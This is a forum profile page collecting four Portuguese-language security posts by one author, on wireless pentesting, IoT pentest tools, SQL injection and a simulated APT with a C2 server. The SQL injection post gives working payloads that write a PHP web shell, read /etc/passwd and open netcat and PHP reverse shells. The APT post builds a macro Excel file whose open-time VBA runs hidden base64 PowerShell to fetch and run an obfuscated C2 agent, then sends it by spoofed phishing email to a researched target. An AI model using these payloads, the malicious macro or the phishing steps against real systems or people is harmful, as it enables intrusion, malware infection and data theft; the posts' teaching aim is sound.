Ir para conteúdo

Joas Antonio

Membros
  • Postagens

    4
  • Registro em

  • Última visita

Tudo que Joas Antonio postou

  1. Realizar um serviço de PenTest é trabalhoso, mas já pensou realizar um PenTest em rede sem fio? Muitas empresas contratam profissionais para apenas auditar sua infraestrutura de rede sem fio. Isso se dá pelo aumento do grande número de dispositivos conectados ao IoT (Internet das Coisas), onde muitas empresas tem equipamentos de IoT conectados sem nenhum tipo de proteção, assim ficando expostos a ataques e vulnerabilidades que podem comprometer a integridade e a disponibilidade do dispositivo. Então por isso, ter conhecimentos em PenTest em redes sem fio é essencial para garantir que a infraestrutura Wireless não seja comprometida e criminosos tomem controle de dispositivos que usam essa tecnologia, assim eliminando perigos de desses dispositivos se tornarem possíveis Botnets ou ter um vazamento de Dados. Introdução Antes de iniciarmos os nossos testes, vamos definir como será o nosso laboratório, afinal não vamos usar ambientes reais, mas sim laboratórios controlados por mim ao qual vou simular um ataque real. E nesse laboratório vai conter: Kali Linux (Máquina que vou utilizar para os ataques) Adaptadores recomendados: TP-Link — WN772N ALFA -AWUS036NHA ALFA-AWUS036NH “Você pode utilizar outros adaptadores, mas garanta que estes suportem o Modo Monitor, injeção de pacotes e que podem ser compatível ao Kali Linux” Planejamento Como planejar um ataque em uma rede sem fio? 1. Liste as ferramentas que você irá utilizar no ataque 2. Identifique o seu alvo 3. Saiba para qual fim aquela rede é utilizada, questione-se para o que é utilizada aquela rede na empresa (Visitante? Workstation? Somente para dispositivos IoT? Etc…) 4. Utilize maquinas potentes para efetuar o ataque 5. Só use métodos agressivos caso todas a opções fiquem escassas. Prática Agora vamos por em pratica alguns métodos para comprometer um rede sem fio, vale ressaltar que muitos dos métodos apresentados são utilizados em ambientes controlados já configurado para receber ataques. Pois em uma rede real você vai se deparar com muitos mecanismos de segurança que coíbem esses ataques, assim você vai precisar estudar esses tipos de mecanismo como (WIDS, WIPS, HONEYNET, HARDENING E OUTROS DISPOSITIVOS DE SEGURANÇA), além disso muitas redes sem fios possuem alto níveis de autenticação como um Radius configurado. Neste ambientes será apresentado ataques utilizando as seguintes ferramentas: · Aircrack-ng: É um conjunto completo de ferramentas para Pentest e Auditoria em redes sem fio · Reaver: É uma ferramenta ao qual tem como objetivo fazer Brute force em WPS · Bully: Uma ferramenta para realizar ataques de Brute force em WPS · Cowpatty: Uma ferramenta para realizar um ataque de Brute force de maneira rápida utilizando chaves Pré-computadas. · Genpmk: Ele trabalha em conjunto com Cowpatty, mas seu trabalho é gerar uma rainbow tables de uma wordlist · Wifite2: É uma ferramenta para facilitar e automatizar um Pentest em rede sem fio. · Fluxion: É uma ferramenta que usa a engenharia social para comprometer uma rede sem fio. Essas são as ferramentas que iremos utilizar para nossas demonstrações: 2138320106_PenTest-Ataquesemredesemfioedicasdecomofazerpentestcommaiseficincia.pdf
  2. A Internet das Coisas em resumo, é uma rede que transmite informações entre dispositivos do cotidianos interconectados entre si. O IoT é bastante presente atualmente, é difícil hoje uma casa não conter um dispositivo de internet das coisas como uma Smart TV ou até mesmo um eletrodoméstico IoT. PenTest em IoT — Técnicas e Ferramentas Compreender a segurança de firmwares IoT vai ajudar na proteção contra ataques que visam dispositivos de redes, como câmeras IP, roteadores, medidores inteligentes, equipamentos médicos e muito mais. Um roteador pode ser um ponto de acesso vulnerável na rede. Deixar os dispositivos de rede sem gerenciamento pode comprometer toda a rede e permitir a movimentação lateral dos invasores dentro da rede. Para explorar um firmware e realizar pentest em dispositivos IoT, alguns conhecimentos são necessários: Extração de firmware via UART. Extração de firmware diretamente da memória flash. Como emular um dispositivo IoT em ARMX. Contornando as tecnologias de mitigação de exploits — DEP e ASLR. Shellcode em ARM. Uma análise mais aprofundada na emulação de firmware — emulando nvram, corrigindo padrões de fábrica. Conhecimentos em Engenharia Reversa e Buffer Overflow. Habilidades com uso de ferramentas de exploração de firmware e binário. Ferramentas Analise de binário e firmware Binwalk — Searches a binary for “interesting” stuff, as well as extracts arbitrary files. emba — Analyze Linux-based firmware of embedded devices. Firmadyne — Tries to emulate and pentest a firmware. Firmwalker — Searches extracted firmware images for interesting files and information. Firmware Slap — Discovering vulnerabilities in firmware through concolic analysis and function clustering. Ghidra — Software Reverse Engineering suite; handles arbitrary binaries, if you provide CPU architecture and endianness of the binary. Radare2 — Software Reverse Engineering framework, also handles popular formats and arbitrary binaries, has an extensive command line toolset. Trommel — Searches extracted firmware images for interesting files and information. Ferramentas SDR RTL-SDR — Cheapest SDR for beginners. It is a computer based radio scanner for receiving live radio signals frequencies from 500 kHz up to 1.75 GHz. HackRF One — Software Defined Radio peripheral capable of transmission or reception of radio signals from 1 MHz to 6 GHz (half-duplex). YardStick One — Half-duplex sub-1 GHz wireless transceiver. LimeSDR — Software Defined Radio peripheral capable of transmission or reception of radio signals from 100 KHz to 3.8 GHz (full-duplex). BladeRF 2.0 — Software Defined Radio peripheral capable of transmission or reception of radio signals from 47 MHz to 6 GHz (full-duplex). USRP B Series — Software Defined Radio peripheral capable of transmission or reception of radio signals from 70 MHz to 6 GHz (full-duplex). Outras ferramentas: GitHub - fkie-cad/awesome-embedded-and-iot-security: A curated list of awesome embedded and IoT… A curated list of awesome resources about embedded and IoT security. The list contains software and hardware tools…github.com GitHub - HQarroum/awesome-iot: ? A curated list of awesome Internet of Things projects and… ? A curated list of awesome Internet of Things projects and resources. - GitHub - HQarroum/awesome-iot: ? A curated…github.com GitHub - dharmeshkakadia/awesome-IoT: A curated list of awesome Internet of Things(IoT) platforms… A curated list of awesome Internet of Things(IoT) platforms, libraries and apps. - GitHub …github.com GitHub - iot-for-all/awesome-iotcentral: A curated list of awesome Azure IoT Central libraries… Useful resources for creating solutions with IoT Central that make you say "Wow, this is amazing!"github.com GitHub - Agile-IoT/awesome-open-iot: A curated list of awesome open source IoT frameworks… A curated list of awesome open source IoT frameworks, libraries and software. Note that the list only features…github.com Além de ferramentas, temos que saber o que procurar em um dispositivo vulnerável, quais informações podemos extrair e tudo mais. 1. Acesso não autenticado: uma das vulnerabilidades mais comuns em firmware, são os acessos não autenticados que permite que um atacante obtenha acesso a um dispositivo IoT, o que torna mais fácil explorar o dispositivo e quaisquer controles fornecidos por ele. 2. Autenticação fraca: Os atacantes podem facilmente obter acesso aos dispositivos quando o firmware tem um mecanismo de autenticação fraco, seja sua criptografia ou a utilização de usuários default. Esses mecanismos podem variar de autenticação de fator único e baseada em senha a sistemas baseados em algoritmos criptográficos fracos que podem ser violados com ataques de força bruta. 3. Backdoors: Quando se trata de firmware, backdoors são uma das explorações favoritas dos atacantes. Um Backdoors são vulnerabilidades intencionais que são plantadas em um dispositivo para fornecer acesso remoto a qualquer pessoa com as informações de autenticação “secretas”. 4. Chaves de criptografia : quando armazenadas em um formato que pode ser facilmente hackeado, como variações do Data Encryption Standard (DES), as chaves de criptografia podem representar um grande problema para a segurança da IoT. Embora o DES tenha provado ser inadequado, ele ainda está em uso hoje. Os atacantes podem explorar chaves de criptografia para espionar a comunicação, obter acesso ao dispositivo ou até mesmo criar dispositivos invasores que podem realizar atos maliciosos. 5.Buffer Overflow: Ao programar umfirmware, podem surgir problemas se o programador usar funções de manipulação de strings inseguras, o que pode levar ao buffer overflow. Os invasores passam muito tempo examinando o código dentro do software de um dispositivo, tentando descobrir como causar um comportamento errático do aplicativo ou travamentos que podem abrir um caminho para uma violação de segurança. Buffer Overflow podem permitir que atacantes acessem dispositivos remotamente e podem ser transformados em armas para criar ataques de negação de serviço e injeção de código. 6. Depuração: informações de depuração em versões beta de dispositivos IoT costumam ser deixados em dispositivos de produção, dando aos atacantes acesso ao mesmo conhecimento interno de um dispositivo. Ferramentas de PenTest Nmap Algo que eu curto fazer é rodar um Nmap em um dispositivo IoT, principalmente em roteadores e Smart TV para coletar informações do dispositivo como portas e serviços abertas e verificar as versões do firmware que está rodando. Com isso, pode acabar surgindo a sorte de conseguir uma CVE por encontrar uma vulnerabilidade. Wireshark Com o Wireshark, eu posso capturar o trafego de rede, principalmente de protocolos como HTTP que é usado na autenticação de interface web de diversos dispositivos IoT, assim obtendo as informações em Text Plain. Metasploit O Metasploit é uma ferramenta para exploração de vulnerabilidades, bastante usada para comprometer quaisquer tipo de alvo, desde windows, linux até mesmo dispositivos IoT. RouterSploit O RouterSploit é uma ferramenta com objetivo de explorar vulnerabilidades em Roteadores, com vulnerabilidades separadas em módulos, seria um metasploit com foco somente em roteadores. HomePWN HomePwn is a framework that provides features to audit and pentesting devices that company employees can use in their day-to-day work and inside the same working environment. It is designed to find devices in the home or office, take advantage of certain vulnerabilities to read or send data to those devices. With a strong library of modules you can use this tool to load new features and use them in a vast variety of devices. FWAnalyzer FwAnalyzer is a tool to analyze (ext2/3/4), FAT/VFat, SquashFS, UBIFS filesystem images, cpio archives, and directory content using a set of configurable rules. FwAnalyzer relies on e2tools for ext filesystems, mtools for FAT filesystems, squashfs-tools for SquashFS filesystems, and ubi_reader for UBIFS filesystems. cpio for cpio archives. SELinux/Capability support for ext2/3/4 images requires a patched version of e2tools. SELinux/Capability support for SquashFS images requires a patched version of squashfs-tools. ISF ISF(Industrial Security Exploitation Framework) is a exploitation framework based on Python. It’s based on NSA Equation Group Fuzzbunch toolkit which is realsed by Shadow Broker. It’s developed by the ICSMASTER Security Team. Please use them only for researching purposes. Essas são algumas ferramentas para exploração de dispositivos IoTs e realização de PenTest. Conclusão A área de IoT Security tem muito a ser explorado, principalmente por ser algo relativamente novo e que está crescendo a cada dia que passa, por conta disso, aprender a proteger tais tecnologias é um desafio e tanto.
  3. Introdução Os ataques em aplicações webs são bastante comuns atualmente, principalmente pela alta migração dos serviços para aplicações web, e ao falar das principais vulnerabilidades conforme o OWASP-TOP 10, muitos já pensam no ataque de SQL injection, por ser uma falha de segurança que ocasiona em grandes impactos e que muitas aplicações web pelo mundo todo, continuam vulneráveis a essa falha. O que é SQL injection? O Ataque de Injeção de SQL, consiste em injetar comandos do banco de dados SQL para apagar, coletar ou modificar dados de um banco de dados, ocorrendo quando os dados fornecidos pelo usuário não é validado de forma correta e interpretado como uma forma de injeção de comandos SQL. Quais são os tipos de ataques de SQL Injection? In-band SQLi (Classic SQLi) In-band SQL Injection é o ataque de SQL Injection mais comum e fácil de explorar. In-band SQL Injection ocorre quando um invasor é capaz de usar o mesmo canal de comunicação para iniciar o ataque e coletar resultados. Os dois tipos mais comuns de injeção de SQL em banda são SQLi baseado em erro e SQLi baseado em união . Error-based SQLi SQLi baseado em erro é uma técnica de injeção de SQL em banda que se baseia em mensagens de erro lançadas pelo servidor de banco de dados para obter informações sobre a estrutura do banco de dados. Em alguns casos, apenas a injeção de SQL baseada em erro é suficiente para um invasor enumerar um banco de dados inteiro. Embora os erros sejam muito úteis durante a fase de desenvolvimento de um aplicativo da Web, eles devem ser desabilitados em um site ativo ou registrados em um arquivo com acesso restrito. Union-based SQLi SQLi baseado em união é uma técnica de injeção de SQL em banda que aproveita o operador UNION SQL para combinar os resultados de duas ou mais instruções SELECT em um único resultado que é então retornado como parte da resposta HTTP. Inferential SQLi (Blind SQLi) A injeção de SQL inferencial, ao contrário do SQLi em banda, pode levar mais tempo para um invasor explorar, no entanto, é tão perigosa quanto qualquer outra forma de injeção de SQL. Em um ataque SQLi inferencial, nenhum dado é realmente transferido por meio do aplicativo da Web e o invasor não poderá ver o resultado de um ataque em banda (e é por isso que esses ataques são comumente chamados de “ ataques de injeção de SQL cegos ”) . Em vez disso, um invasor é capaz de reconstruir a estrutura do banco de dados enviando cargas úteis, observando a resposta do aplicativo da Web e o comportamento resultante do servidor de banco de dados. Os dois tipos de injeção de SQL inferencial são SQLi baseado em booleano cego e SQLi baseado em tempo cego . Boolean-based (content-based) Blind SQLi A injeção de SQL baseada em booleano é uma técnica de injeção de SQL inferencial que se baseia no envio de uma consulta SQL ao banco de dados que força o aplicativo a retornar um resultado diferente dependendo se a consulta retorna um resultado VERDADEIRO ou FALSO. Dependendo do resultado, o conteúdo da resposta HTTP mudará ou permanecerá o mesmo. Isso permite que um invasor deduza se a carga útil usada retornou verdadeiro ou falso, mesmo que nenhum dado do banco de dados seja retornado. Esse ataque geralmente é lento (especialmente em bancos de dados grandes), pois um invasor precisaria enumerar um banco de dados, caractere por caractere. Time-based Blind SQLi A injeção de SQL baseada em tempo é uma técnica de injeção de SQL inferencial que se baseia no envio de uma consulta SQL ao banco de dados que força o banco de dados a aguardar um determinado período de tempo (em segundos) antes de responder. O tempo de resposta indicará ao invasor se o resultado da consulta é VERDADEIRO ou FALSO. Dependendo do resultado, uma resposta HTTP será retornada com atraso ou imediatamente. Isso permite que um invasor deduza se a carga útil usada retornou verdadeiro ou falso, mesmo que nenhum dado do banco de dados seja retornado. Esse ataque geralmente é lento (especialmente em bancos de dados grandes), pois um invasor precisaria enumerar um banco de dados caractere por caractere. Out-of-band SQLi Injeção de SQL fora de banda não é muito comum, principalmente porque depende de recursos habilitados no servidor de banco de dados que está sendo usado pelo aplicativo da web. A injeção de SQL fora de banda ocorre quando um invasor não consegue usar o mesmo canal para iniciar o ataque e coletar resultados. As técnicas fora de banda oferecem ao invasor uma alternativa às técnicas inferenciais baseadas em tempo, especialmente se as respostas do servidor não forem muito estáveis (tornando um ataque inferencial baseado em tempo não confiável). As técnicas de SQLi fora de banda dependeriam da capacidade do servidor de banco de dados de fazer solicitações DNS ou HTTP para entregar dados a um invasor. É o caso do xp_dirtreecomando do Microsoft SQL Server, que pode ser usado para fazer solicitações de DNS a um servidor que um invasor controla; bem como o pacote UTL_HTTP do Oracle Database, que pode ser usado para enviar solicitações HTTP de SQL e PL/SQL para um servidor que um invasor controla. https://www.acunetix.com/websitesecurity/sql-injection2/ Esse é o básico de um ataque de SQL Injection, mas claro existem ataques um pouco mais avançado que pode ser utilizado para conseguir uma Reverse Shell. Porém com os mecanismos de proteção conhecidos como WAF/IDS/IPS, dificultou um pouco à realização desses ataques, sendo necessário à criação de payloads que consigam realizar o bypass desses controles. Como trabalha um WAF? https://cdn-images-1.medium.com/max/1000/1*TrvHvu3a9tqo2PrQEz_9Aw.png Essa imagem resume todo o processo do tráfego que ocorre: O usuário faz uma requisição na aplicação; Essa requisição passa pelo WAF ao qual vai validar se é ou não malicioso; E por fim, vai até o servidor da aplicação se tudo der certo para trazer uma resposta ao usuário; O objetivo do WAF é prevenir qualquer tipo de ataque de injeção ou manipulação de requisição e adotar politicas de higienização de entradas de dados inválidas. Além de serem bem útils para detectar um 0day conforme o tipo de entrada de dados que está sendo inserido, por isso é um pouco mais difícil bypassar um WAF sem conhece-lo antes e entender de desenvolvimento web para criar seus payloads utilizando técnicas anti-filtros e métodos de escapes de caracteres. Demonstrando alguns ataques de SQL Injection Após adquirirmos o básico de conhecimento em ataques de SQL Injection, vamos à prática. Reading and Writer Files with SQL Injection: Um método não muito utilizado, mas bem útil para realizar ataques de SQL Injection e assim roubar informações ou até mesmo conseguir uma Reverse Shell é por meio de leitura e escrita de um arquivo. Geralmente por causa de uma configuração incorreta de permissões no servidor de aplicação web, o usuário do servidor web consegue não só ler, mas até editar arquivos ou cria-los dentro do diretório, sendo possível subir uma shell em .php para comprometer o servidor. Por exemplo: Você tem diferentes tipos de payloads que pode ser útil para gravar arquivos em um sistema, exemplo: ‘ union select 1, “<?php system($_GET[‘cmd’]); ?>” into outfile ‘/var/www/shell.php’ # https://cdn-images-1.medium.com/max/1000/1*PQhz7mWqhBt0QozeKK93zQ.pnghttps://cdn-images-1.medium.com/max/1000/1*k2ABzwWkOS-cKwRec286ag.png Esse payload permite que eu crie um arquivo chamado shell.php e nele contenha um código em php para executar comandos pela aplicação. E caso queremos fazer à leitura de um arquivo, podemos utilizar o seguinte payload ‘ UNION SELECT 1, load_file(‘/etc/passwd’) # https://cdn-images-1.medium.com/max/1000/1*2R7KSWHWgpOVe1pb7qNcGg.png Assim ele retorna o /etc/passwd do alvo, além de ser possível exfiltrar outros arquivos que desejar. Alguns métodos e payloads que você pode utilizar para ir mais além na suas explorações https://www.exploit-db.com/papers/14635 https://sqlwiki.netspi.com/attackQueries/readingAndWritingFiles/#mysql SQL Injection to Remote Code Execution: Após subirmos aquela shell.php no servidor web, podemos utilizar ele para alcançar uma reverse shell, primeiramente vamos chamar a nossa pequena shell em PHP. https://cdn-images-1.medium.com/max/1000/1*63M8ESIX3a76cymBV9rKpQ.png http://vulnserver/shell.php?cmd=ls -ls Ele nos retorna os diretórios da pasta atual, assim obtendo êxito na execução de código remoto, assim abre um leque para várias oportunidades sendo possível até obter um Meterpreter, porém vamos subir um Netcat básico primeiro. Mas antes, vamos rodar o comando Whereis para verificar se existe o netcat na máquina. http://vulnserver/shell.php?cmd=whereis nc https://cdn-images-1.medium.com/max/1000/1*Eel2nUhQTpGgVoVsHLpj2w.png Sucesso! Agora podemos abrir uma Reverse Shell tranquilamente na porta que desejarmos. Primeiramente eu abrir um Netcat no meu Kali Linux na porta 4321 Comando: nc -nvlp 4321 Em resumo ele abre uma porta, deixa na escuta e retorna toda interação feita por ela. https://cdn-images-1.medium.com/max/1000/1*6qCz2lEPAkkaeSZecr34qQ.png E por fim, eu executo o netcat via shell.php para se comunicar com essa porta, utilizando o seguinte comando. http://vulnserver/shell.php?cmd=nc -nv ipkalilinux 4321 -e /bin/bash Assim eu me comunico com a máquina e executo uma shell para eu interagir com à máquina, porém eu consigo deixar essa shell mais interativa ainda utilizando o seguinte comando: python -c “import pty;pty.spawn(‘/bin/bash’)” (Python2) python3 -c “import pty;pty.spawn(‘/bin/bash’)” (Python3) https://cdn-images-1.medium.com/max/1000/1*nLrINr88BuE0ONm56CKl_Q.png Agora é só escalar privilégios, no metasploitable você pode utilizar o PHP para fazer essa escalação, basta apenas seguir dois processos. Abrir um outro terminal no Kali Linux e subir um netcat em uma porta aleatória; Basta executar na Reverse Shell atual o seguinte comando: php -r ‘$sock=fsockopen(“ipkalilinux”,port);exec(“/bin/sh -i <&3 >&3 2>&3”);’ https://cdn-images-1.medium.com/max/1000/1*yYsG49CqrUDQkyoIp1oxWA.png Esse é um método de subir uma Reverse Shell e Escalar privilégio, existem outros principalmente se explorando das credenciais default do MySQL e assim executar o seguinte processo. mysql -u root -h target Depois disso basta criar uma shell em PHP utilizando o seguinte payload select '<?php $output=shell_exec($_GET["cmd"]);echo "<pre>".$output."</pre>"?>' into outfile '/var/www/html/cmd.php' from mysql.user limit 1; Por fim, abra a aplicação web e execute o seguinte parâmetro http://ip-do-webserver/cmd.php?cmd=id Pronto! Agora é só utilizar à criatividade para elevar o seu nível. Conclusão Ataques de SQL Injection são fáceis de corrigir, mas infelizmente existem milhares de aplicações vulneráveis, sendo até mesmo de empresas grandes que geralmente recebem reports por intermédios de programas de Bug Bounty. Portanto, eu recomendo que você desenvolvedor invista em segurança de aplicação e ponha as boas práticas de segurança em ação, pois assim você vai ter uma aplicação segura e dificilmente de ser comprometida, claro que nenhum sistema é seguro, mas o nosso papel como profissionais de segurança é garantir que os impactos seja o menor possível.
  4. Introdução As ameaças persistentes avançadas são ataques direcionados especificamentes a um tipo de negócio ou organização, no caso muitos ataques de longa escala utilizam TTPs (Técnica, Táticas e Procedimentos) para comprometer seu alvo, seja utilizando um spear-phishing ou explorando vulnerabilidades em um sistema. Como exemplo, temos as campanhas de ransomware que se propagam de diversas formas, seja elas por ataques de Phishing ou por meio de 0days. O Mitre Att&ck mostra como muitos grupos de cibercriminosos atuam e quais os principais vetores de ataques são utilizados, além dos TTPs. Groups SNAKEMACKEREL, Swallowtail, Group 74, Sednit, Sofacy, Pawn Storm, Fancy Bear, STRONTIUM, Tsar Team, Threat Group-4127…attack.mitre.org MITRE ATT&CK® MITRE ATT&CK ® is a globally-accessible knowledge base of adversary tactics and techniques based on real-world…attack.mitre.org Nesse artigo, vou demonstrar um ataque utilizando um documento maliciosos com um Macro VBA que instala um Agent de C2 usando o Trevorc2 para criar uma botnet no Azure. “Antes de tudo, estou utilizando Azure para demonstrar como um C2 funciona externamente na prática, muitos criminosos usam esse tipo de serviço, mas claro a Microsoft sempre está de olho, por isso é sempre bom ter seu próprio servidor ou usar uma VPS.” Azure configuration Configurar o azure não é algo que vou demonstrar em passo a passo, mas por ora você pode criar uma conta gratuita para seus testes e realizar o procedimento para criar uma máquina virtual. Você pode seguir esse passo a passo aqui: Início Rápido - Criar uma VM Linux no portal do Azure - Azure Virtual Machines As máquinas virtuais (VM) do Azure podem ser criadas por meio do Portal do Azure. Azure virtual machines (VMs) can be…docs.microsoft.com Após criar a sua máquina, particularmente usei o Ubuntu 18.04, você pode digitar os seguintes comandos: apt-get update apt list — upgradable apt-get install python apt-get install python3 apt-get install python3-pip apt-get install python-pip Após isso, vamos partir para a configuração do nosso documento malicioso antes de configurarmos o servidor de C2 Documento Malicioso .XLSM Irei criar um Macro bem simples para efetuar o download do agent que estara no servidor da minha aplicação e posteriormente executar o agent.ps1 para obtermos a nossa conexão. O código é bem simples, você pode aprimorar ele e utilizar técnicas de obfuscação e sleep time para diminuir o comportamento anomalo dele. Eu particularmente convertir as strings do powershell em base64, para dificultar a leitura do que está sendo executado no VBA, utilizei o seguinte comando: [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes(“wget http://server:443/agent.ps1 -OutFile C:\Temp\agent.ps1”)) [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes(“C:\Temp\agent.ps1”)) [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes(“-ExecutionPolicy Bypass -Windowstyle Hidden -File c:\Temp\payload.ps1”)) Agora vou criar o meu VBA que será executado na minha planilha do excel, para isso vou abrir o Excel e apertar alt+f11 Crie um Módulo e adicione o seguinte código Sub RunAndGetCmd() strCommand = “Powershell -Windowstyle Hidden -encodedCommand dwBnAGUAdAAgAGgAdAB0AHAAOgAvAC8AMQAzAC4ANgA1AC4AMgAzADQALgAxADkANAA6ADQANAAzAC8AcABhAHkAbABvAGEAZAAuAHAAcwAxACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVABlAG0AcABcAHAAYQB5AGwAbwBhAGQALgBwAHMAMQA=” strCommand2 = “Powershell -Windowstyle Hidden -encodedCommand QwA6AFwAVABlAG0AcABcAHAAYQB5AGwAbwBhAGQALgBwAHMAMQA=” Set WshShell = CreateObject(“WScript.Shell”) Set WshShellExec = WshShell.Exec(strCommand) Set WshShellExec = WshShell.Exec(strCommand2) Set objShell = CreateObject(“Wscript.Shell”) objShell.Run (“powershell.exe -encodedCommand LQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACAALQBXAGkAbgBkAG8AdwBzAHQAeQBsAGUAIABIAGkAZABkAGUAbgAgAC0ARgBpAGwAZQAgAGMAOgBcAFQAZQBtAHAAXABwAGEAeQBsAG8AYQBkAC4AcABzADEA”) strOutput = WshShellExec.StdOut.ReadAll End Sub Agora adicione o seguinte código no Microsoft Excel Object Private Sub Workbook_Open() RunAndGetCmd End Sub Agora vamos salvar o código como Macro-enabled workbook Após ter configurado, basta re-abrir o Excel e verificar se ele esta funcionando corretamente. Configurando C2 e Obfuscando Agent Agora vamos entrar no nosso servidor no Azure e configurar nosso servidor C2 e obfuscar nosso agent para não ser fácilmente detectado pelo AV. Vamos clonar o repositório do Trevorc2 Agora vamos instalar os pré-requisitos, digitando: pip install -r requeriments.txt pip3 install -r requeriments.txt Vamos acessar a pasta agents e agora vamos pegar o código trevorc2_client.ps1 para obfuscar esse código, antes vamos configurar apenas essa linha e por o IP do nosso servidor. Vamos salvar e agora é só obfuscar o código, no caso você pode utilizar diversas técnicas para enconde e obsfucação. danielbohannon/Invoke-Obfuscation Invoke-Obfuscation is a PowerShell v2.0+ compatible PowerShell command and script obfuscator. In the Fall of 2015 I…github.com CBHue/PyFuscation Obfuscate powershell scripts by replacing Function names, Variables and Parameters. - CBHue/PyFuscationgithub.com No meu caso vou utilizar o PyFuscation para isso Clonei o repositório e vou jogar o trevorc2_client.ps1 para dentro da pasta PyFuscation Executei o pyfuscation Esse é o resultado, porém para verificarmos a efetividade dele vou rodar um virustotal (Não é recomendado se você não quer nerfar o seu código), como é somente para estudos vamos validar a efetividade. Vou subir um servidor de aplicação na porta 443 por conta da limitação do Azure e baixar o arquivo para analisar no virustotal, posso usar uma API para válidar também, mas vou utilizar a interface web mesmo. https://support.virustotal.com/hc/en-us/articles/360006819798-API-Scripts-and-client-libraries Agora vou renomear o agent para payload.ps1 Agora vamos iniciar o servidor do Trevorc2 Ele detectou o meu apache2 ativado, vou desativar, pois o trevorc2 trabalha pela porta 80 (HTTP) Ainda não possuo nenhuma shell ainda, para isso vou precisar criar um vetor de ataque que no caso será um Phishing. Ataque de Phishing Phishing é um tipo de ataque de engenharia social frequentemente usado para roubar dados do usuário, incluindo credenciais de login e números de cartão de crédito. Ocorre quando um invasor, disfarçado de entidade confiável, induz a vítima a abrir um e-mail, mensagem instantânea ou mensagem de texto. O destinatário é então induzido a clicar em um link malicioso, o que pode levar à instalação de malware, ao congelamento do sistema como parte de um ataque de ransomware ou à revelação de informações confidenciais. Um ataque pode ter resultados devastadores. Para indivíduos, isso inclui compras não autorizadas, roubo de fundos ou roubo de identidade. Além disso, o phishing é frequentemente usado para obter uma posição segura em redes corporativas ou governamentais como parte de um ataque maior, como um evento de ameaça persistente avançada (APT). Neste último cenário, os funcionários são comprometidos a fim de contornar os perímetros de segurança, distribuir malware dentro de um ambiente fechado ou obter acesso privilegiado a dados protegidos. Uma organização que sucumbe a tal ataque normalmente sofre graves perdas financeiras, além de queda na participação de mercado, reputação e confiança do consumidor. Dependendo do escopo, uma tentativa de phishing pode se transformar em um incidente de segurança do qual uma empresa terá dificuldade em se recuperar. What is phishing | Attack techniques & scam examples | Imperva Phishing attacks often result in the theft of user data. Learn about common phishing attacks, such as email scams and…www.imperva.com Phishing: Spearphishing Attachment Adversaries may send spearphishing emails with a malicious attachment in an attempt to gain access to victim systems…attack.mitre.org Para eu comprometer meu alvo, vou utilizar a técnica de E-mail Spoofing, claro que não é bem efetivo, pois existem muitos meios de mitigar, basta configurar o SPF de maneira correta, uma ferramenta que ajuda nesse aspecto é o https://www.dmarcanalyzer.com/spf/checker/ que analisa se seu dominio está configurado corretamente. Vou me passar por uma organização desconhecida e irei levantar a informação do meu alvo utilizando o OSINT por meio de midias sociais. Peguei as informações do usuário e o e-mail de contato dele, agora vou enviar esse documento malicioso que criamos para tentar compromete-lo. Pode ser utilizado alguma ferramenta em Python de E-mail Spoofing, o próprio Setoolkit ou até mesmo o EMKEI que é uma ferramenta web para email spoofing. https://emkei.cz/ Após o envio vamos torcer para não cair no SPAM ou para que o usuário clique e abra essa planilha Após o recebimento vamos aguardar que o usuário abra e execute para obtermos algum resultado. Ótimo! Obtemos um resultado satisfatório, agora podemos nos aprofundar interagindo com o alvo, para isso basta digitar: Digitei o comando dir E obtive as pastas desse usuário, se quiser acessar outros dispositivos é só digitar: E assim usar o comando: interact Nesse caso não vou me aprofundar nos vetores de ataque, pois esse artigo é apenas para dar uma noção básica de um malware que se esconde em um arquivo .xlsm ao qual instala um agent de C2 para você utilizar da forma que desejar. Detectando o C2? Como exercicio é sempre bacana analisar o trafego de rede e ver como o C2 se comporta, por exemplo: O TrevorC2 que estamos utilizando nesse artigo é um modelo cliente / servidor para mascarar comando e controle por meio de um site normalmente navegável. A detecção se torna muito mais difícil porque os intervalos de tempo são diferentes e não usam solicitações POST para saída de dados. Utilizando Wireshark podemos analisar o tráfego e coletar comportamentos anomalos na rede Analisando eu encontrei uma comunicação HTTP no servidor 13.65.234.194, bem suspeito quando não possuo nem o browser aberto para realizar a comunicação com algum site HTTP. Ao digitar o IP http://13.65.234.194/ no navegador, fui redirecionado para o site do Google, assim fica um pouco mais dificil de verificar se é um C2 ou não. ip.addr == 13.65.234.194 Filtrando, você pode analisar com calma e detectar algum comportamento suspeito. Conclusão Os APTs é o medo de qualquer organização, pois um grupo de cibercriminosos que estão motivados a atacar e a comprometer o alvo é um sério risco para todos. Muitos ataques tem motivações diferentes, porém seu objetivo é afetar de alguma forma o seu alvo, seja gerando impactos financeiros ou não. Se proteger não é uma tarefa fácil, existe um caminho a percorrer: Implementar uma cultura de segurança da informação na sua organização; Conscientizar os usuários sobre as diversas ameaças no meio cibernético; Ficar em compliance com os principais padrões e normas do mercado; Investir em soluções de segurança para proteger seu ambiente e a rede corporativa da sua organização; Possuir um bom time de CSIRT; Capacitar seus profissionais de segurança da informação; Buscar soluções de IT que respeite a segurança da informação; E caso você seja alvo de um ataque que utilize algum recurso tecnológico de empresas sérias para se propagar, reportar é a solução mais efetiva. Muitos C2 que utilizam instâncias do Azure, AWS, Google Cloud, são bloqueadas por essas provedoras de nuvem. Mas claro, se outros meios descentralizados são utilizado, cabe um bom time de Threat Intelligence para combater o inimigo e auxiliar no bloqueio dessa ameaça. Esse foi um exemplo bem simples, que pode ser feito de várias formas, com certeza é sempre bom ficar de olho nos métodos que os atacantes, os Hackers maliciosos utilizam para utilizar no seu Red Team Operations. Me adicione no LinkedIn: https://www.linkedin.com/in/joas-antonio-dos-santos
×
×
  • Criar Novo...